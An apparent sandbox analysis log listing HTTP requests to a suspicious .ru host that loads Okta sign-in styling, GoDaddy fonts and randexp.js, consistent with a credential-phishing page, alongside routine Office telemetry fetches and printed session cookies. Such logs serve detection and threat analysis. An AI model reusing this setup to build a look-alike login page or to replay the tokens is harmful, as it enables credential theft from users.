laravel_session=eyJpdiI6IldaVTNKbXJSVGF4UmVNYnRVMW5yZnc9PSIsInZhbHVlIjoibHdoT0I2NnVxZ255OG0rSmhMdWJyWkMxRHYrU2JjYndUcHR4emU4NTd1TXV3TWVmNlRPSCtyK1BlTmJIRDdVU2RnR2gzUXlKenF1NDRSNS93ZlFEQW5QRmZpK0dacWhjR0htRHpWaDR1Rmw0NGppaFZXazlMMVFKaDRCTm54Q3AiLCJtYWMiOiIwYzBmNzdmOTZhOTRlZWMxZmIzMTUzZjVjZjBjNjNkNGRkMmIwMmE4NjJhZDJkYWEwMDM5ODQ5NmE1OTQ5ODlkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/VgRu6z/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9PV3Fvc0hrTm9abWwrcmNNOUF0c1E9PSIsInZhbHVlIjoiWTJRemQrL2p0bmdmSFNVVTBwSUVTa1ZzLzNuSk1Yelo4eHl1VkRJQkF0TExMRmVYZ2hPK0dieExVdWhnYzA0ODd2Y3Nxc3BGV2xGTHlUK05BRzZOZDdxMHJtWm8rK0l3OGx0bFVLVWhveWtEdWlEdWNYamxLZGVlY2ROWGFRRVYiLCJtYWMiOiI0YzE1ZTYwZjMxOGJlNTVlYjVjMTI0OTM3ZTU2ZDBkMWNlNTg1ZDQ5NzJlNjQ3ZDFlMDA1ZjJiYjg1Y2NmMGM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZUaEJkVWFMWDUvVEV6SVBTaEN2VHc9PSIsInZhbHVlIjoiaDM4VjFQMFJaRmltV0R0VHlaMXFPYy94T0RMQ0RvWVJYSVdFdHNYYnEyM2VKL25mVG5NbnVZdmVRYVVvRGhER2dRMW1VK25ISHdRRGtWaTBvb0kzVHhHTGtzNkRlbFI5SzhXVTl4M20xQkE2a2tGMC91b0lrSHU4NUlJdTQwUFYiLCJtYWMiOiJmMzk1ZGJjZjkyYTM2N2JlOWFlN2UzN2Q0NDc1ZDZjOTlhMDg0MjU1YTRlYjZhZmZhMzk2YWU2YmU5ZjFiOGRmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120600v5s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /zc8368kecikmGVURy2hWmf6OT4KlwqmOUnhLuW4maM4KVkPDfgy HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjVjN0JmQ0tNM2YwNlJ6R3N1eVdBT3c9PSIsInZhbHVlIjoiNTdISmUxMkVuRGx6ZHlFODlrQnVRZ0tlOVA4eDFOQ0NLamNiWFZhRVlmcktyRm5pUHJ4bFBaUmZIM29qRzJYZ0hzQXEwVGQ2V2lqTm9weXpQZnA2YU45TWtCMllIOE01MENBQkNpcXFBcXlTamczRGtIa0plbUFwQlFnSnNSNWgiLCJtYWMiOiI5ZjZmZGM0MTc2MmM3YTZhNzc3NzkwMzIwMGQzY2Y1YTc0ZDc5MTQ1N2IyYjQ5OWUyNDY4M2VlZWMyNTY2NjkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImFsRVZabjFUQjFPTy80OU0wYm8rU1E9PSIsInZhbHVlIjoiN3BSeVhpQUF2Y3AyREsyZ2pRVCtGVFJNQjJUTnFaQTVURDlEcjBDOUdJNWhQdG5FQmVNckkvN3RkMWxza3F0c3kwL2hVdVhwVXRCRXFOMHNyenIwQmRhZlp0dnduN0ZUQXQxN01xc1Jsd2Fic2d3ZVBmOGEvcHlRWXYvZTgrRS8iLCJtYWMiOiJlMDU5NGIxZGVjMTcxYWIzYjk2MWM2ZjhkMjY0NDhiOWYxMzlhMjdkMmQ0MWExNzJhMDcyZTc4ZGY2YmE0NTg3IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQ HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ufw.xcsyiuul.ru/VgRu6z/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjVjN0JmQ0tNM2YwNlJ6R3N1eVdBT3c9PSIsInZhbHVlIjoiNTdISmUxMkVuRGx6ZHlFODlrQnVRZ0tlOVA4eDFOQ0NLamNiWFZhRVlmcktyRm5pUHJ4bFBaUmZIM29qRzJYZ0hzQXEwVGQ2V2lqTm9weXpQZnA2YU45TWtCMllIOE01MENBQkNpcXFBcXlTamczRGtIa0plbUFwQlFnSnNSNWgiLCJtYWMiOiI5ZjZmZGM0MTc2MmM3YTZhNzc3NzkwMzIwMGQzY2Y1YTc0ZDc5MTQ1N2IyYjQ5OWUyNDY4M2VlZWMyNTY2NjkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImFsRVZabjFUQjFPTy80OU0wYm8rU1E9PSIsInZhbHVlIjoiN3BSeVhpQUF2Y3AyREsyZ2pRVCtGVFJNQjJUTnFaQTVURDlEcjBDOUdJNWhQdG5FQmVNckkvN3RkMWxza3F0c3kwL2hVdVhwVXRCRXFOMHNyenIwQmRhZlp0dnduN0ZUQXQxN01xc1Jsd2Fic2d3ZVBmOGEvcHlRWXYvZTgrRS8iLCJtYWMiOiJlMDU5NGIxZGVjMTcxYWIzYjk2MWM2ZjhkMjY0NDhiOWYxMzlhMjdkMmQ0MWExNzJhMDcyZTc4ZGY2YmE0NTg3IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /12TvEGAMcd3aPS6720 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /abzhFE3iD3pq0gh30 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveOrigin: https://ufw.xcsyiuul.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveOrigin: https://ufw.xcsyiuul.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveOrigin: https://ufw.xcsyiuul.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveOrigin: https://ufw.xcsyiuul.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
